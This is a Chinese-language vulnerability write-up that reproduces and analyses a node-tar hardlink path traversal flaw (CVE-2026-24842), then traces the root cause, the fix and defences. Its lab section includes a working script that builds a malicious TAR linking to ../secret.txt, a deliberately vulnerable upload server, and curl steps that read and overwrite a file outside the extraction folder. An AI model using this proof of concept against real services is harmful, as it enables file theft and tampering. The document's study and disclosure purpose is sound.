本文内容仅供技术学习与交流使用,严禁用于任何非法用途。请遵守《中华人民共和国网络安全法》等相关法律法规,因违规使用产生的一切后果,由使用者自行承担,与作者无关。

引言

提到归档提取漏洞,很多人第一反应还是 Zip Slip:通过在压缩包中构造 ../ 路径,把文件写出目标目录。这个理解本身没问题,但它更多关注的是路径在解析之后是否越界,也就是路径字符串这一层的安全。

但在最近的一些漏洞中,问题已经不再只停留在这种“显式路径穿越”上。像 symlink、hardlink 这样的机制,会让“路径看起来在目录内”和“实际访问的文件对象在目录内”变成两件不同的事情。再叠加不同阶段的路径解析方式、校验顺序等因素,就会出现一些更隐蔽的绕过方式。

本文以 Node-tar 的 CVE-2026-24842 为例,分析 hardlink path traversal 是如何绕过提取目录边界的,以及在常见业务场景下,如何一步步演变成任意文件读取、文件覆盖,甚至进一步的代码执行风险。

一、研究目标

本文围绕以下几个问题展开:

  1. 漏洞是如何利用一个看似位于解压目录内的文件名,间接读取或覆盖解压目录外的真实文件?
  2. Node-tar 为什么会在已经存在路径穿越校验的情况下,仍然被 hardlink 绕过?
  3. hardlink path traversal 与传统 Zip Slip 的关键差异是什么?
  4. 修复版本为什么能够阻断该攻击链路?
  5. 应如何设计更稳健的归档提取边界校验?

二、漏洞背景

CVE-2026-24842 是 Node-tar 中的 hardlink path traversal 漏洞。该漏洞的关键点在于:Node-tar 对 hardlink 的目标文件名 entry.path 做了边界检查,但没有对决定真实源对象的 entry.linkpath 做同等强度校验。随后在 hardlink 创建阶段,entry.linkpath又会按 cwd 解析为真实文件系统路径,导致目录内文件名可以被绑定到目录外文件对象。

该漏洞影响 tar < 7.5.7,修复版本为 tar@7.5.7。从影响角度看,该漏洞的危害可以分为两类:

  1. 即时读取风险:
    如果业务会将解压后的文件作为下载文件、静态资源或后续处理对象暴露给攻击者,那么攻击者可以通过 hardlink 读取解压目录外的敏感文件。
  2. 条件写入/覆盖风险:
    如果业务会对解压后的文件进行写入、追加、格式转换、缓存更新、配置生成等操作,那么这些操作可能通过 hardlink 作用到解压目录外的真实文件上,从而造成任意文件覆盖或关键文件破坏。

需要注意的是,hardlink 本身并不是“指向路径的快捷方式”,而是让两个文件名指向同一个底层 inode。因此,一旦攻击者在解压目录内创建了一个指向外部敏感文件的 hardlink,后续业务对该目录内文件的读取或写入,本质上就是在读取或修改边界外文件。

三、归档提取漏洞攻击面变化

3.1 从路径字符串到文件系统对象

传统 Zip Slip 更像是“路径字符串漏洞”。攻击者通过 ../../etc/passwd 之类的路径,让提取逻辑把文件直接写到目标目录之外。

但在 hardlink / symlink 场景中,问题会更加隐蔽。归档中的 path 字段可能完全位于解压目录内,安全检查也可能认为它是合法路径;但该路径最终对应的文件系统对象,可能已经被链接机制重新绑定到解压目录之外。

这类问题的关键不再只是:

路径字符串是否包含 ../

而是:

最终被读取、写入或创建的文件系统对象,是否仍然位于可信边界内

3.2 链接类条目的风险差异

3.2.1 总体差异对比

类型

典型原语

关键问题

影响

传统路径穿越

../、绝对路径

目标路径规范化不严

直接越界写文件

符号链接绕过

symlink

提取时跟随符号链接,真实落点不在边界内

越界写文件 / 覆盖文件

硬链接绕过

hardlink

提取目录内对象与边界外已有对象指向同一 inode

越界读写已有文件

链式链接

link 指向 link

校验与落地阶段使用的真实路径不一致

绕过单点校验

归纳起来,这类问题的本质已经从“字符串是否安全”,转向了“最终落地的文件系统对象是否仍然处于可信边界内”。

3.2.2 symlink 的影响

符号链接本质上保存的是另一个路径。若提取器先创建了一个指向边界外的 symlink,再提取后续普通文件,就可能出现如下结构:

extract/
  a/
    link -> ../outside

此时,后续若再提取 a/link/pwned.txt,看上去写入目标仍在 extract/a/link/pwned.txt,但真实落点已经变成 extract/outside/pwned.txt,甚至可能继续逃逸到提取目录之外。

3.2.3 hardlink 的影响

硬链接与符号链接不同,它不保存“路径字符串”,而是直接让两个文件名指向同一个底层文件对象。

这意味着:如果归档里的 hardlink 指向了边界外某个已存在文件,提取目录中再出现一个看似正常的文件名,那么对这个文件名的读写,其实都在操作边界外对象本身。

这也是为什么 hardlink 问题在服务端文件提取场景下非常危险。它不仅可能造成越界写,还能带来越界读,以及对已有敏感文件的无感知改写。

四、实验复现

4.1 实验目标

本实验用于验证 node-tar@7.5.0 在处理 hardlink 条目时,是否可以被构造的 TAR 归档绕过解压目录边界,并造成以下影响:

  1. 在解压目录 uploads/ 内创建一个看似正常的文件路径;
  2. 该文件实际通过 hardlink 指向解压目录外的 secret.txt;
  3. 业务读取 uploads/d/x 时,实际读取到 secret.txt 的内容;
  4. 业务写入 uploads/d/x 时,实际覆盖 secret.txt;
  5. 升级到 tar@7.5.7 后,同一恶意归档无法再创建可利用 hardlink。

4.2 实验环境

项目

配置

操作系统

macOS / Linux 均可

Node.js

v23.11.0

npm

10.9.2

漏洞版本

tar@7.5.0

修复版本

tar@7.5.7

漏洞类型

Hardlink Path Traversal

影响结果

解压目录外文件读取与覆盖

4.3 实验目录设计

实验目录如下:

node-tar-repro/
├── package.json
├── secret.txt                 # 模拟解压目录外的敏感文件
├── create-malicious-tar.js     # 构造恶意 TAR
├── server.js                  # 模拟存在解压逻辑的业务服务
├── verify.js                  # 验证 hardlink 与外部文件关系
└── uploads/                   # 服务端指定的解压目录

其中:

  • uploads/ 是业务允许写入的解压目录;
  • secret.txt 位于 uploads/ 之外,模拟数据库配置、密钥文件、应用配置文件等敏感文件;
  • 恶意 TAR 中包含 d/x 这个 hardlink 条目;
  • d/x 的 linkpath 指向 ../secret.txt。

实验中的关键边界关系如下:

node-tar-repro/
├── secret.txt          # 目标文件:不应被解压逻辑访问或修改
└── uploads/            # 解压目录:业务认为所有解压结果都应限制在这里
    └── d/
        └── x           # 攻击者期望创建的 hardlink

从业务视角看,uploads/d/x 位于解压目录内;但从文件系统视角看,它可能与 secret.txt 指向同一个 inode。

4.4 初始化漏洞版本环境

  1. 创建 package.json:
{
  "dependencies": {
    "tar": "7.5.0"
  }
}
  1. 安装依赖:
npm install

  1. 创建模拟敏感文件:
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
mkdir -p uploads
  1. 确认当前版本:
node -v
npm -v
npm list tar
cat secret.txt

4.5 构造恶意 TAR

  1. 恶意 TAR 的核心结构只有两个条目:
d/                       # 普通目录
d/x -> ../secret.txt      # hardlink,目标指向解压目录外的 secret.txt
  1. 构造脚本create-malicious-tar.js:
const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);

  b.write(name, 0);
  b.write('0000644', 100);
  b.write('0000000', 108);
  b.write('0000000', 116);
  b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now() / 1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);

  // typeflag:
  // '5' 表示目录
  // '1' 表示 hardlink
  // '0' 表示普通文件
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;

  if (linkpath) {
    b.write(linkpath, 157);
  }

  b.write('ustar\x00', 257);
  b.write('00', 263);

  let sum = 0;
  for (let i = 0; i < 512; i++) {
    sum += b[i];
  }

  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));

console.log('[+] malicious.tar created');
console.log('[+] entry: d/x hardlink -> ../secret.txt');
  1. 生成恶意归档:
node create-malicious-tar.js

  1. 为了确认 TAR 内部结构,可执行以下命令,可以看到 d/ 目录条目和 d/x hardlink 条目。
tar -tvf malicious.tar

4.6 模拟易受攻击的业务服务

4.6.1 设计思路

  1. 为了让漏洞影响更直观,本文使用一个最小化的 HTTP 服务来模拟真实业务中的归档上传与解压流程。该服务并不直接访问 secret.txt,而是始终只操作解压目录 uploads/ 下的文件。服务逻辑包含三个接口:

接口

方法

作用

/upload

POST

接收上传的 TAR 文件,并解压到 uploads/ 目录

/read

GET

模拟业务读取解压后的文件 uploads/d/x

/write

POST

模拟业务向解压后的文件 uploads/d/x 写入内容

  1. 需要特别说明的是,/read 和 /write 接口访问的目标路径均为:
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
  1. 也就是说,业务代码访问的是:
uploads/d/x
  1. 而不是:
secret.txt

4.6.2 服务端完整代码

server.js:

const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');

fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer(async (req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];

    req.on('data', chunk => chunks.push(chunk));

    req.on('end', async () => {
      const tarPath = path.join(UPLOAD_DIR, 'upload.tar');
      fs.writeFileSync(tarPath, Buffer.concat(chunks));

      await tar.extract({
        file: tarPath,
        cwd: UPLOAD_DIR
      });

      res.end('Archive extracted\n');
    });
  }

  else if (req.method === 'GET' && req.url === '/read') {
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');

    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath, 'utf8'));
    } else {
      res.end('File not found\n');
    }
  }

  else if (req.method === 'POST' && req.url === '/write') {
    const chunks = [];

    req.on('data', chunk => chunks.push(chunk));

    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');

      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('File written\n');
      } else {
        res.end('File not found\n');
      }
    });
  }

  else {
    res.end('Usage: POST /upload, GET /read, POST /write\n');
  }
}).listen(PORT, () => {
  console.log(`[+] vulnerable server listening on http://localhost:${PORT}`);
});

4.6.3 /upload:上传并解压 TAR 文件

if (req.method === 'POST' && req.url === '/upload') {
  const chunks = [];

  req.on('data', chunk => chunks.push(chunk));

  req.on('end', async () => {
    const tarPath = path.join(UPLOAD_DIR, 'upload.tar');
    fs.writeFileSync(tarPath, Buffer.concat(chunks));

    await tar.extract({
      file: tarPath,
      cwd: UPLOAD_DIR
    });

    res.end('Archive extracted\n');
  });
}
  1. 该接口用于接收攻击者上传的 TAR 文件,并将其保存为:
uploads/upload.tar
  1. 随后调用:
await tar.extract({
  file: tarPath,
  cwd: UPLOAD_DIR
});

这里的 cwd: UPLOAD_DIR 表示:归档内容应当被解压到 uploads/ 目录中。在正常情况下,开发者会认为只要 cwd 设置为 uploads/,解压出来的所有内容都应该被限制在该目录内。但在本漏洞场景中,恶意 TAR 中的 hardlink 条目可能会让 uploads/d/x 与目录外的 secret.txt 指向同一个底层文件对象。

因此,/upload 是漏洞触发入口。它本身没有显式访问 secret.txt,但它会调用存在漏洞的 tar.extract(),从而在 uploads/ 内创建攻击者设计的 hardlink。

4.6.4 /read:模拟业务读取解压结果

else if (req.method === 'GET' && req.url === '/read') {
  const targetPath = path.join(UPLOAD_DIR, 'd', 'x');

  if (fs.existsSync(targetPath)) {
    res.end(fs.readFileSync(targetPath, 'utf8'));
  } else {
    res.end('File not found\n');
  }
}
  1. 该接口模拟真实业务中“读取解压后文件”的动作。服务端读取的路径是:
uploads/d/x
  1. 而不是:
secret.txt
  1. 但是,如果恶意归档已经让 uploads/d/x 成为 ../secret.txt 的 hardlink,那么:
fs.readFileSync('uploads/d/x', 'utf8')
  1. 实际上会读取到 secret.txt 的内容,也就是说,业务代码虽然没有写出如下危险路径:
fs.readFileSync('../secret.txt', 'utf8')

但由于 uploads/d/x 与 secret.txt 指向同一个 inode,读取 uploads/d/x 就等价于读取 secret.txt。

这一步用于证明漏洞可以导致越界读取。

4.6.5 /write:模拟业务写入解压结果

else if (req.method === 'POST' && req.url === '/write') {
  const chunks = [];

  req.on('data', chunk => chunks.push(chunk));

  req.on('end', () => {
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');

    if (fs.existsSync(targetPath)) {
      fs.writeFileSync(targetPath, Buffer.concat(chunks));
      res.end('File written\n');
    } else {
      res.end('File not found\n');
    }
  });
}
  1. 该接口模拟真实业务中“修改解压后文件”的动作。例如:
  • 解压后追加元数据;
  • 解压后进行格式转换;
  • 解压后生成缓存;
  • 解压后写入处理结果;
  • 解压后更新配置内容。

服务端写入的目标仍然是:

uploads/d/x
  1. 但是在 hardlink 已经创建成功的情况下:
fs.writeFileSync('uploads/d/x', data)

实际修改的是 secret.txt 对应的底层文件对象。

这一步用于证明漏洞可以导致越界覆盖。

4.7 漏洞版本验证:越界读取

  1. 启动服务:
node server.js

  1. 另一个终端执行上传:
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

  1. 随后读取 uploads/d/x:
curl http://localhost:3000/read

此时攻击者并没有直接访问 secret.txt,而是访问了解压目录内的 uploads/d/x。但由于 uploads/d/x 已经被创建为指向 ../secret.txt 的 hardlink,业务读取该路径时,实际读取到的是解压目录外的敏感文件内容。

4.8 漏洞版本验证:越界覆盖

  1. 继续执行写入请求:
curl -X POST -d "PWNED_BY_HARDLINK" http://localhost:3000/write

  1. 检查 secret.txt:
cat secret.txt

​

这说明业务对 uploads/d/x 的写入操作,实际覆盖了解压目录外的 secret.txt。

4.9 inode 关系验证

为了证明 uploads/d/x 与 secret.txt 并不是两个内容相同的文件,而是同一个底层文件对象,可以使用 ls -li 查看 inode:

ls -li secret.txt uploads/d/x

可以看到:

  • 两个路径的 inode 编号一致;
  • link count 为 2;
  • 说明 secret.txt 与 uploads/d/x 指向同一个底层文件对象。

这也是 hardlink 绕过比普通路径穿越更隐蔽的地方:业务代码看到的是解压目录内的合法路径,但文件系统实际操作的却是目录外的同一个底层对象。

4.10 修复版本验证:tar@7.5.7 阻断攻击

  1. 接下来升级到修复版本:
npm install tar@7.5.7
npm list tar

  1. 清理实验目录并恢复敏感文件:
rm -rf uploads
mkdir uploads
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

  1. 重新启动服务:
node server.js

  1. 再次上传同一个恶意 TAR:
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

  1. 然后验证文件是否被创建,可以看到返回 No such file or directory
ls -li secret.txt uploads/d/x

  1. 继续检查敏感文件内容:
cat secret.txt

这说明在 tar@7.5.7 中,同样的恶意归档已经无法再创建可利用的 hardlink,解压目录外的敏感文件也没有被覆盖。

4.11 实验结论

通过上述实验可以确认:

  1. 在 tar@7.5.0 中,攻击者可以通过构造 hardlink 条目,使解压目录内的文件名指向目录外的真实文件;
  2. 如果业务会读取解压后的文件,则可能造成敏感文件泄露;
  3. 如果业务会写入解压后的文件,则可能造成解压目录外文件被覆盖;
  4. ls -li 结果能够证明 uploads/d/x 与 secret.txt 指向同一个 inode;
  5. 升级到 tar@7.5.7 后,同一恶意归档无法再创建可利用 hardlink,说明修复逻辑有效。

因此,该漏洞的核心危害并不是“多创建了一个异常文件”,而是攻击者可以把业务可信目录内的文件路径,重新绑定到业务边界之外的真实文件对象上。

五、漏洞根因分析

5.1 从调用链看漏洞触发点

在这份复现环境里,Node-tar 的关键逻辑位于 node_modules/tar/dist/commonjs/unpack.js。如果把一个 hardlink 条目的处理过程按调用顺序展开,可以概括为:[ONENTRY] -> [CHECKPATH] -> [CHECKFS] -> [CHECKFS2] -> [MAKEFS] -> [HARDLINK] -> [LINK]。

这条调用链很重要,因为漏洞并不是出在某一个孤立函数里,而是出在整条链路对 entry.path 和 entry.linkpath 的语义分工并不一致:前半段主要围绕“要在解压目录里创建哪个名字”展开,后半段才真正决定“这个名字最终绑定到哪个文件对象”。

结合本文 PoC,可以先把攻击输入固定下来:

entry.type     = Link
entry.path     = d/x
entry.linkpath = ../secret.txt
cwd            = /path/to/node-tar-repro/uploads

这里必须先区分两个字段的职责:

  • entry.path 决定解压目录内最终出现的文件名,也就是 uploads/d/x
  • entry.linkpath 决定 hardlink 真正要绑定的源文件对象,也就是 hardlink 的 source path

这两个字段在普通文件场景里往往不会被混淆,但在 hardlink 场景下,前者是“落点文件名”,后者才是“真实绑定对象”,这正是理解本漏洞的前提。

5.2 [CHECKPATH]

结论:CHECKPATH 仅对 entry.path 进行路径边界校验,并未对 hardlink 的实际源对象 entry.linkpath 进行同等安全判断。

[ONENTRY] 首先调用的是 [CHECKPATH]。这一阶段的重点很明确:

  • 它首先取的是 entry.path
  • .. 检查针对的是 parts = entry.path.split('/')

  • entry.absolute 也是根据 this.cwd 和 entry.path 计算出来的

把 PoC 代入进去:

entry.path = d/x
cwd        = /path/to/node-tar-repro/uploads

那么 [CHECKPATH] 看到的是:

p     = d/x
parts = ['d', 'x']

由于 d/x 本身不包含 ..,也不是绝对路径,所以这一关可以通过。随后生成的 entry.absolute 为:

/path/to/node-tar-repro/uploads/d/x

这个结果看起来仍然位于解压目录 uploads 内,因此从 [CHECKPATH] 的视角看,这个条目是“安全的”。这里要特别强调:这一阶段关注的核心对象是 entry.path,它证明的是“要在解压目录里创建一个名为 d/x 的条目”,而不是“这个 hardlink 最终会绑定到哪个真实文件对象”。

值得注意的是,当前这份源码里并不存在“先按 entry.path 所在目录去解析 entry.linkpath 再判断是否越界”的逻辑。[CHECKPATH] 的主要安全判断对象就是 entry.path 本身。

5.3 [CHECKFS] / [CHECKFS2]

结论:CHECKFS 虽然接触到 entry.linkpath,但其用途仅为路径预约和并发控制,并未参与实际的目录边界校验。

[CHECKPATH] 通过后,Link 类型会进入 [CHECKFS]。这里确实把 entry.linkpath 放进了 paths 数组,但这一步的语义不能被误写成“对 hardlink 源路径做了与 entry.path 同等强度的安全边界校验”。它更接近于路径预约和并发冲突控制,避免多个条目在解压过程中互相踩踏。

继续往下看 [CHECKFS2],就会发现这一阶段的真正落点仍然是 entry.absolute。

这一阶段的核心动作也都围绕 entry.absolute 展开,包括:

  • 创建 entry.absolute 的父目录
  • 对 entry.absolute 做 lstat
  • 视情况删除或复用 entry.absolute
  • 最后把控制权交给 [MAKEFS]

也就是说,[CHECKFS] / [CHECKFS2] 处理的是“目标落点 uploads/d/x 是否可创建”,并没有把 entry.linkpath 当作 hardlink 的真实源对象去做同等级别的边界限制。entry.linkpath 被加入 paths,更多是为了 reservation 体系的一致性,而不是为了阻断 ../secret.txt 这类跨目录绑定。

5.4 [MAKEFS]

结论:MAKEFS 根据 entry.type 分发处理逻辑,在 Link 类型下进入 hardlink 创建流程,此阶段不再进行额外的路径安全校验。

当前面的文件系统准备阶段结束后,[MAKEFS] 会根据条目类型选择最终落地逻辑。

这段代码的作用很直接:一旦 entry.type = Link,后续就不再按普通文件写入,而是进入 hardlink 创建分支。因此,在本文 PoC 中,前面所有针对 entry.path = d/x 的检查,只是为“在 uploads/d/x 这个位置创建某种对象”扫清障碍;真正决定这个对象绑定到哪里的,是下一步的 [HARDLINK]。

5.5 [HARDLINK]

结论:HARDLINK 阶段会基于 cwd 重新解析 entry.linkpath,从而将相对路径(如 ../secret.txt)映射为解压目录之外的真实文件路径。

[HARDLINK] 的实现是这条漏洞链上最关键的一步。

这段代码的作用不是检查,而是把 entry.linkpath 解析成 hardlink 的真实源路径。把 PoC 直接代入:

cwd            = /path/to/node-tar-repro/uploads
entry.linkpath = ../secret.txt

则这里得到的 linkpath 为:

path.resolve('/path/to/node-tar-repro/uploads', '../secret.txt')
= '/path/to/node-tar-repro/secret.txt'

也就是说,../secret.txt 在 [HARDLINK] 中会被解析成 uploads/../secret.txt,归一化后就是解压目录外的 secret.txt。这一步非常关键,因为它说明 hardlink 的真实源对象直到这里才被确定下来,而且解析基准就是 this.cwd。

从源码语义看,这也是 entry.path 和 entry.linkpath 的本质区别:

  • entry.path = d/x 只决定目标文件名是 uploads/d/x
  • entry.linkpath = ../secret.txt 决定 uploads/d/x 要与哪个已有文件共享 inode

因此,entry.path 看起来再“安全”,也不能推出最终绑定对象仍然在解压目录内。

5.6 [LINK]

结论:LINK 阶段通过 fs.link() 将解析后的 linkpath 与 entry.absolute 绑定,从而使目录内路径实际指向目录外文件对象。

[HARDLINK] 算出真实源路径后,会进入 [LINK]。在 hardlink 场景下,link 的值就是 'link',因此这里的效果等价于执行 fs.link(linkpath, String(entry.absolute))。

这一步的结果不是创建一个“内容复制品”,而是在文件系统中新增一个目录项 uploads/d/x,让它与 secret.txt 指向同一个 inode。于是后续业务代码虽然只会读取或写入:

uploads/d/x

但文件系统层面的实际对象已经是:

secret.txt

这也就解释了为什么本文前面的 /read 会读到 secret.txt 内容,而 /write 会直接改写 secret.txt 本身。

5.7 根因小结

把整条调用链串起来看,漏洞根因其实非常集中:

  1. [CHECKPATH] 主要检查的是 entry.path
  2. 对于 entry.path = d/x,路径本身不包含 ..,因此可以通过检查
  3. entry.absolute 会被解析为 /path/to/node-tar-repro/uploads/d/x,表面上仍位于解压目录内
  4. [CHECKFS] 虽然把 entry.linkpath 加入了 paths 数组,但这一步主要用于路径预约和并发控制,不等价于 hardlink 源对象的边界校验
  5. [MAKEFS] 遇到 entry.type = Link 后进入 [HARDLINK]
  6. [HARDLINK] 再用 path.resolve(this.cwd, String(entry.linkpath)) 解析真实源路径
  7. entry.linkpath = ../secret.txt 因而被解析到解压目录外
  8. [LINK] 最终执行 fs.link(secret.txt, uploads/d/x),让二者指向同一个 inode

因此,这个漏洞并不是单纯的“entry.path 过滤不严”,而是校验阶段关注的是 hardlink 在解压目录内的文件名,落地阶段使用的却是 entry.linkpath 指向的真实文件对象,而后者没有得到同等强度的边界限制。

5.8 修复版本分析

从当前 tar@7.5.7 的源码实现看,修复点可以概括成两层。

  1. 第一层是统一入口。[CHECKPATH] 不再只围绕 entry.path 单独展开,而是会调用 [STRIPABSOLUTEPATH](entry, 'path'),并且当条目类型是 Link 时,还会继续调用 [STRIPABSOLUTEPATH](entry, 'linkpath')。也就是说,hardlink 的 linkpath 在修复版本里已经被正式纳入前置检查流程,而不是等到 [HARDLINK] 时再临时解释。

  1. 第二层是差异化拦截。[STRIPABSOLUTEPATH] 里有一个很关键的判断:如果字段本身包含 ..,那么普通 path 一律拒绝;而当条目类型是 Link 时,linkpath 也会走同样的拒绝分支。换句话说,在 hardlink 场景下,../secret.txt 这样的输入不会再被“带着问题继续往后传”,而是会在这里直接触发 TAR_ENTRY_ERROR 并返回 false。

把本文的 PoC 代入当前修复版本来看,这个变化就非常直观了:

entry.type     = Link
entry.path     = d/x
entry.linkpath = ../secret.txt
cwd            = /path/to/node-tar-repro/uploads

在前文分析的漏洞链里,d/x 能顺利通过 [CHECKPATH],随后 ../secret.txt 一直到 [HARDLINK] 才被 path.resolve(this.cwd, ...) 解释成目录外文件;但在 tar@7.5.7 里,这个 linkpath 已经会在 [STRIPABSOLUTEPATH](entry, 'linkpath') 阶段被识别出来。由于条目类型本身是 Link,源码会直接进入拒绝分支,抛出类似 `linkpath contains '..'` 的错误并返回 false。这样条目连 [HARDLINK] 都走不到,更不可能继续进入最终的 [LINK] 和 fs.link(...)。

这也解释了为什么修复版本能够真正阻断攻击链,而不是只“降低利用难度”:它不是在末端补救,而是在 hardlink 真正落地之前,就把恶意 linkpath 从处理流程里剪掉了。

六、2026 同类案例归纳

本文未对下列案例全部进行完整复现,但从公开 advisory 的描述来看,它们都与归档提取过程中的链接类对象处理有关。虽然具体原语不同,有的是 hardlink,有的是 symlink,但共同点在于:业务逻辑认为提取结果仍在目标目录内,而文件系统在链接解析或对象绑定后,可能已经把最终读写对象导向了目录之外。

项目

时间

编号

机制

影响概括

参考

Node-tar

2026-01-28

CVE-2026-24842

hardlink 目标路径校验不足

创建指向外部文件的 hardlink,进而造成文件读写/覆盖

https://github.com/advisories/GHSA-34x7-hfp2-rc4v

compressing

2026-02-04

CVE-2026-24884

symlink 目标未充分校验

后续文件经 symlink 写入任意位置

https://nvd.nist.gov/vuln/detail/CVE-2026-24884

Zarf

2026-03-06

CVE-2026-29064

symlink 指向目标目录外

造成任意文件读写

https://osv.dev/vulnerability/GHSA-hcm4-6hpj-vghm

Jenkins

2026-03-18

CVE-2026-33001

.tar/.tar.gz 提取时未安全处理 symlink

可向任意位置写文件,受运行用户权限限制

https://www.jenkins.io/security/advisory/2026-03-18/

这些案例的表面描述不同,但抽象到统一模型后,核心问题都是:路径边界并不一定等于对象边界。

  • 业务逻辑认为“提取目标还在工作目录内”;
  • 文件系统在解析 symlink 或创建 hardlink 后,最终读写对象可能已经指向工作目录外。

这也说明,单纯依赖 path.normalize()、path.resolve() 或 startsWith(baseDir) 这类字符串层面的判断,并不足以覆盖链接类对象带来的边界绕过风险。

七、防御建议

针对 hardlink / symlink 触发的归档提取边界绕过,防御重点不应只停留在 path.normalize() 或 startsWith(baseDir),而应从“是否允许特殊文件对象进入业务流程”入手,可以有以下措施:

  1. 默认拒绝链接类条目
    如果业务本身不依赖 symlink / hardlink,上传解压场景中应直接拒绝此类条目,避免引入额外攻击面。
  2. 对 linkpath 进行独立边界校验
    对于 hardlink / symlink 条目,应将 linkpath 作为独立输入进行校验,并基于最终解析后的绝对路径判断是否仍在允许目录内。
  3. 解压目录隔离
    将解压目录放置在独立的沙箱路径(如临时目录或容器挂载点),避免与敏感文件路径处于同一文件系统层级。
  4. 降低解压进程权限
    以低权限用户执行解压逻辑,即使发生越界,也能限制对系统关键文件的读写能力。
  5. 使用已修复版本或安全实现
    及时升级到 tar@7.5.7 及以上版本,或选用已明确对链接类条目做严格限制的归档处理库。

八、结语

做完这个复现之后,我最大的感受是:归档提取这类问题看起来很老,但并没有真正“过时”。

以前看到 Zip Slip,第一反应往往是检查 ../、绝对路径、路径前缀这些字符串问题。但 CVE-2026-24842 让我重新意识到,文件系统里的边界并不只是路径字符串决定的,业务代码看起来没有访问敏感路径,开发者也可能认为自己只是在处理上传目录里的文件,但最终被读写的对象已经变了。

这和很多新安全问题类似,真正需要关注的不是表面输入是否看起来安全,而是系统最终操作的对象是否仍在预期边界内。​

九、参考资料